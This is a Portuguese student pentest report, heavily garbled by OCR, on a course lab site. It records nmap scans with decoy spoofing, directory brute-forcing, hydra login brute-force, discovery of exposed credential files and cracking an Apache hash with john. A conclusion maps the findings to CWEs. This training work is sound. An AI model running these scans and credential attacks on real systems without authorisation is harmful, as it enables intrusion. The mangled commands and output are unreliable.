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1. INTRODUCAO

As atividades orientadas a ensino realizadas focaram no tema de Seguranca
Computacional, com estudos direcionados a Pentest (Teste de Intrusdo). As ferramentas
estudadas estéo listadas a seguir, exibindo os comandos executados, resultados obtidos e
vulnerabilidades encontradas e exploradas.

O site alvo do pentest foi disponibilizado pela empresa Desec Security - disponibilizado em
seu respectivo curso de Pentest, dessa forma, foi possivel utiliza-lo sem cometer nenhuma
infracdo do ponto de vista ético e legal.

2. MAPEAMENTO

Site: http://www.businesscorp.com.br

2.1 Mapeando o Host

2.1.1 nmap -D RND:20 --open -sS -top-ports=100 businesscorp.com.br -oN portas-
abertas

-D RND:20 = spoofing de 20 Ips aleatorios

--open = apenas portas abertas

-sS = Faz um TCP SYN scan

-top-ports=100 = faz scan apenas das 100 portas mais comuns, segundo a lista do Nmap

-oN = Salva o resultado no arquivo portas-abertas, em formato “normal” (legivel).

Nmap scan repor r businesscorp.com.br (37.59.174.225)

Host is up (@ atency).

rONS record f f.09.1] 3: ip225.ip-37-59-174.eu

Not shown: 91 e (reset), & filtered tcp ports (no-response)
Some closed ports may be reporte

POR STATE SERVICE

) open ftp
open ssh
open domain

88/tcp open http

111/tcp open rpcbind
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Resultados:

Portas abertas:
21/tcp = FTP;
22/tcp = ssh;
53/tcp = domain;
80/tcp = http;
111/tcp = rpchind,;

2.1.2 nmap -p 21,22,53,80,111 -sV -sC businesscorp.com.br -oN porta-versao

-p = especifica as portas a serem testadas
-sV = identifica versdes dos servi¢cos nas portas abertas
-sC = executa scripts padrdo do Nmap (NSE)

-oN = salva o resultado no arquivo porta-versao, formato “normal” (legivel)

Nmap scan report for businesscorp.com.br (37.59.174.225)
Host i ( 55 latency)
rDNS 37-59.137 5: ip225.ip-37-59-174.eu

STATE SERVICE VERSION
open ftp ProFTPD 3.4a
open ssh OpenSSH 6.@8pl Debian 4+deb7u? (protocol 2

3/tc [} ISC BIND 9.
dns-nsid:
bind.version:

: Business Corp
L : 4 disallowed entries
/o to /_docs /admin /bk
111/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
rogl rsi port/proto
111/tcp
111/udp
111/tcpé rpcbind
111/udpé rpcbind
: Unix, Linux; CPE: cpe:/fo:linux:Llinux_kernel

[ e —
m |
=

LA

rvice detection performed. Please report any incorre resul at https: map.org/submit/ .

2.1.3 gobuster dir -u https://businesscorp.com.br/ -w /usr/share/dirb/wordlists/big.txt -
t 100 -e --no-error -r -oN gobuster-businesscorp

-u = alvo
-e = estendido (url completa)

wordlist

=
I

—no error = nao exibir erros na tela

-r = se redirecionar, seguir os redirecionamentos
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by 0] Reeves (@TheColonial) & Christian Mehlmauer

[+] url:
[+] Method:
[+] Threads:
Wordlist: Jusr/share/dirb/wordlists/big. txt
Negative Status codes: L@4
User Agent: gobuster/3.6
Follow Redirect: true
Expanded: true
Timeout: 18s

r in direct enumeration mode

(7]

e
(¢}

bu;ln sscorp.com.br/.htpasswd
T . i corp.com.br/.htaccess
e . i corp.com.br/_docs
.DU:lI corp.com.br/admin
.DU:lI corp.com.br/app
corp.com.br/bkp
'.DU:lI corp.com.br/cgi-bin/
(.businesscorp.com.br/config
.businesscorp.com.br/css
i .businesscorp.com.br/db
| .businesscorp.com.br/demo
| .businesscorp.com.br/favicon
i .businesscorp.com.br/images
| .businesscorp.com.br/index
| .businesscorp.com.br/info
i .businesscorp.com.br/intranet
ww .businesscorp.com.br/js
www .businesscorp.com.br/pass
wew .businesscorp.com.br/robot
mwm.bu;ll corp.com.br/robot
i corp. Eﬂm.blfll
corp.com.br/se
corp. EDN.DIJJIT_ X
corp. EDm.D:J:lTﬂmqp
corp.com.br/site
'.DU:lI esscorp.com.br/teste
| .businesscorp.com.br/~administrator
Prng:ess 20469 / 20470 (100.00%)

Lo oLh

Li [¥5]
=]

LA L

LA

5.
5

L

LUhoun

[¥5]

L B W e W s W e B e B s N e e T e T s T e T e e e T e T e s T e B e B e I e e e W e B e W |

2.2 Mapeando a aplicacao

2.2.1 wafwO0O0f -v "http://businesscorp.com.br"

-v = modo verboso (mostra detalhes do processo de deteccao)
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/home/pentest/Desktop
"http://busine 'p.com.br

/ \
( Woof! )
\ /

The Web Application Firewall Fingerprinting Toolkit

Checking http://businesscorp.com.br
Generic tion results:

No WAF de ed by the generic detection
Number of reguests: 7

confirma que o site ndo esta utilizando Waf (web Aplication Firewall)

2.2.2 whatweb http://businesscorp.com.br

http

K , Country[FRANCE][' "], Email[camila@businesscorp.com.br,rogerio@businesscorp.com.br,ti@businesscorp.com.br
1, Google-API[ajax/libs/j y/1.1 uery.min.js], HTML5, HTTPServer[ 1L 1, IP[37.59.174.225], JQuery[1.10.2], Modernizr,
Script[te> ptl le[Bu pl

O Site utiliza Javascript e Nginx como tecnologias que possivelmente possam ser
encontrados CVEs. E hospedada no servidor Apache.
3. EXPLORACAO

3.1 curl -i https://www.businesscorp.com.br/_docs

-i = exibe os headers (cabecalhos) da resposta HTTP junto com o contetdo

2 (Debian) at wew.bus p.com.br Port 8

Foi encontrado um arquivo senhas.txt

3.1.1 curl -i https://www.businesscorp.com.br/_docs/senhas.txt

hdmin:1:
Hev:desenvolvimento

Curl Retornou 2 possiveis usudrios e senhas;
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I ‘http:/
<form method="POST">

Password: <input name="password” type="
<input type="submit” value="Entrar”

O Curl retornou uma pagina de login

3.2.1 curl -i -k -X POST -d "username=admin&password=123" \
http://businesscorp.com.br/app/

fhome/pentest/Desktop/pentest-tcc
i i sword=123" http businesscorp.com.br/app/

HTTP/1.1
Date: Fri, 2
Server: Apac
X-Powered-By: PHP/5.
Vary: Accept-Encoding
Content-Length: 185
Content-Type: te>

<form method="P0OST">
Username username”
Password ] password”
<input ty " " value="Entr

3.2.2 hydra -l admin -P senhacurta.txt \
businesscorp.com.br http-post-form \
"lapp/:username="USER"&password="PASS":F=200" -v

/home/pentest/Desktop/pentest-tcc
senhacurta.txt

these **% ignore la
/github.com/vanhause
[DATA] att king‘http—pos form:'
to complete te

-07-11 1

tentativa de for¢a bruta e possivel, porem nenhuma tentativa teve sucesso, incluindo as
senhas disponibilizadas no arquivo senhas.txt

3.3 curl https://businesscorp.com.br/bkp

/home/pentest/Desktop

Curl retorna um arquivo script.sh
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/home/pentest/Desktop
wanl . businesscorp.com.br
#! /bin/bash
#Backup diario

cp /fvar/ww/db/update.sql /var/bkp/

Curl retorna possiveis configuracdes de backup

3.3.2 gobuster dir -u http://www.businesscorp.com.br/bkp/ -w
/usr/share/wordlists/dirb/common.txt

/home/pentest/Desktop/pentest-tcc
http mai . businesscorp.com.br/bkp/ -w fusr/share/wordlists/dirb/common.txt

(@TheColonial) & Christian Mehlmauer (@firefart)

http wa . businesscorp.com.br/bkp/
GET

1@
/usr/share/wordlists/dirb/common. txt
L4

gobuster/3.6

l@s

Progress: 4614 / 4615 (99.

Finished

3.4 curl https://businesscorp.com.br/config

/home/pentest/Desktop
'http: W . DUS1INesSCorp.Ccom. Dl
CONFIGURACOES DO SERVIDOR

HARDWARE DELL

usuario:

senha:

Curl retornou possiveis informag6es do servidor
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01:47 </td><td ali

dr Ap 2 (Debian) at www.businesscorp.com.br Po /address>

Curl retornou possiveis informacdes de CSS

3.6 curl https://businesscorp.com.br/db/
/home/pentest/Desktop
‘http://f .busin p |
VOCE NAD TEM PERMISSA0 PARA ACES ESTE DIRETORIO

3.6.1 gobuster dir -u http://businesscorp.com.br/db/ -w
/usr/share/wordlists/dirb/common.txt -t 20

/home/pentest/Desktop/pentest-tcc
usinesscorp.com.br/db/ -w fusr/share/wordlists/dirb/common.txt

Timeou

mode

Finished
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3.6.2 curl https://businesscorp.com.br/db/update

/home/pentest/Desktop/pentest-tcc
#Exemplo de ma configuracao
#Information Gathering
#Muito bem!

Password: <input name
<input type="submit"” v

3.7.1 hydra -l admin -P senhacurta.txt \

businesscorp.com.br http-post-form
"lintranet/:username="USER”"&password="PASS":F=200"

/home/pentest/Desktop/pentest-tcc
senhacurta. txt

zations, or for illegal purposes (this is no

-11 18

tentativa de forca bruta e possivel, porem nhenhuma tentativa teve sucesso, incluindo as
senhas disponibilizadas no arquivo senhas.txt

3.8 curl https://businesscorp.com.br/js

"ht
’E HTML PUBLIC

st modified

2015 01:47

01:47

jquery-1.10 “>jquery-1.1@

jquery-mi. e 2.1.min.js">jquery-mi



https://businesscorp.com.br/js
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/home/pentest/Desktop/pentest-tcc
! etClient. js

request.onreadystatechange = function() {
— & &5 this.status = 280) {

t.open("GET", "/apiClients/showNames.xml™, true);
.send();

E um JavaScript que faz uma requisicdo AJAX (XMLHttpRequest) para:
/apiClients/showNames.xml

Ele faz um GET e, quando a resposta chega com sucesso (status == 200), imprime o
contelildo no console: console.log(this.responseText) ;

3.8.2 curl -k http://businesscorp.com.br/apiClients/showNames.xml

/home/pentest/Desktop/pentest-tcc
usinesscorp.com.br/apiClients/showNames.xml|
encoding="UTF-8"7>

| Albertoni</Cliente>

' PARA PONTUAR NO VLA
c@nisN3

arquivo XML com nomes de clientes e contas dos clientes


http://www.businesscorp.com.br/js/getClient.js
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fhnmefpentestfﬂesktnp
pusine ol 3 5
moikano: ﬁqp:1$itt:hth jlgy . +DfadaJEPTFPnAaﬂ

O prefixo sapr1$ indica que € um hash Apache MD5 (aprl), gerado com o htpasswd.

3.9.1 john --wordlist=rockyou.txt --format=md5crypt hash.txt

/humefpentest!Desktuplpentest {1
5 1 t —format=mc hash.txt

Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1% (and variants) [MD5 ASIMD 4x2])
Will rum 6 OpenMP threads

o abort, almost any other key for status

[ -@7-11 18 ) 14, ! Pe971c/ :’ 71C/s reymysterio..wildfire
r" 3pT13n to displa

senha = fuck
3.10 curl https://businesscorp.com.br/robots.txt

‘http: // www .businessc
User-agent: *
Disallow: /_restrito
Disallow: /_docs
Disallow: fadmin
Disallow: /bkp
Allow: fconfiguracoes/comunicacao/projeto.txt

No Robots foi encontrado que qualquer usuario tem acesso aos diretorios:
/_restrito

/_docs

fadmin

/bkp

3.11 curl https://businesscorp.com.br/ri

revelou um documento relevante

Ele 00 View [nsert Format Siyles Table Form oS Window Hep

<Ml .= a - . Tl A

T P B B T ——— -
- L EENNEES RN ERRE S SR A EE R Sy A

FATO RELEVANTE

RELACAO COM INVESTIDORES
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/home/pentest/Desktop

‘http://www.businesscor

'PE HTML PUBLIC "-//IETF//DTD HTML 2.8//
<head>
> Not Found</title>
: ><body>
*Not Found</hlz:

/home/pentest/Desktop
http: //w

3.14 url -k http://businesscorp.com.br/~administrator/key.txt

/home/pentest/Desktop/pentest-tcc
http://businesscorp.com.br/~administrator/key.txt
Muito bem!

Utilize a key gB8@889113568fkp9 para habilitar sua pontuacao no VLAB.

4. CONCLUSAO

Durante o pentest realizado no dominio businesscorp.com.br, foram identificadas
vulnerabilidades criticas que comprometem a seguranga da aplicacao e do servidor.
Foi constatada a exposicdo de arquivos sensiveis, como o /config, que revelou
credenciais administrativas e uma chave de API, caracterizando a vulnerabilidade
CWE-200: Exposure of Sensitive Information. Além disso, 0 arquivo
/bkp/script.sh exp6s caminhos internos do sistema, como /var/www/db/update.sql,
configurando uma falha do tipo CWE-538: File and Directory Information
Exposure.

Outro achado relevante foi o arquivo /pass, que continha um hash Apache MD5
($aprl$) referente ao usuario moikano. O hash foi quebrado com sucesso,
revelando a senha fuck, o que evidencia a vulnerabilidade CWE-312: Cleartext
Storage of Sensitive Information e possibilita o acesso ndo autorizado ao sistema.
Também foi identificado um endpoint exposto, /apiClients/showNames.xml, que
pode permitir o vazamento de dados de clientes, enquadrando-se na falha CWE-
201: Information Exposure Through Sent Data.
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Adicionalmente, a andlise do frontend revelou o uso de bibliotecas desatualizadas,
como Backstretch v2.0.4 (2013) e possivelmente uma versdo vulneravel do jQuery.
Essa pratica eleva o risco de exploracdo de CVEs conhecidos, como o CVE-2019-
11358: Prototype Pollution in jQuery.

Essas vulnerabilidades, em conjunto, demonstram que o ambiente esta suscetivel a
ataques que podem resultar na divulgacdo de informagBes confidenciais,
escalonamento de privilégios e comprometimento total do servidor. Recomenda-se a
remoc¢do imediata de arquivos sensiveis do diretério publico, a atualizagdo das
bibliotecas utilizadas, a implementacdo de mecanismos de autenticacdo e controle
de acesso mais robustos e a revisdo das configuracées de permissao no servidor
web.

Portanto, o estudo em seguranca computacional foi essencial, pois além de gerar uma
grande satisfacdo e seguranca pessoal, também agrega do ponto de vista profissional,
gerando possiveis oportunidades.

Campo Grande, 11 de julho de 2025.
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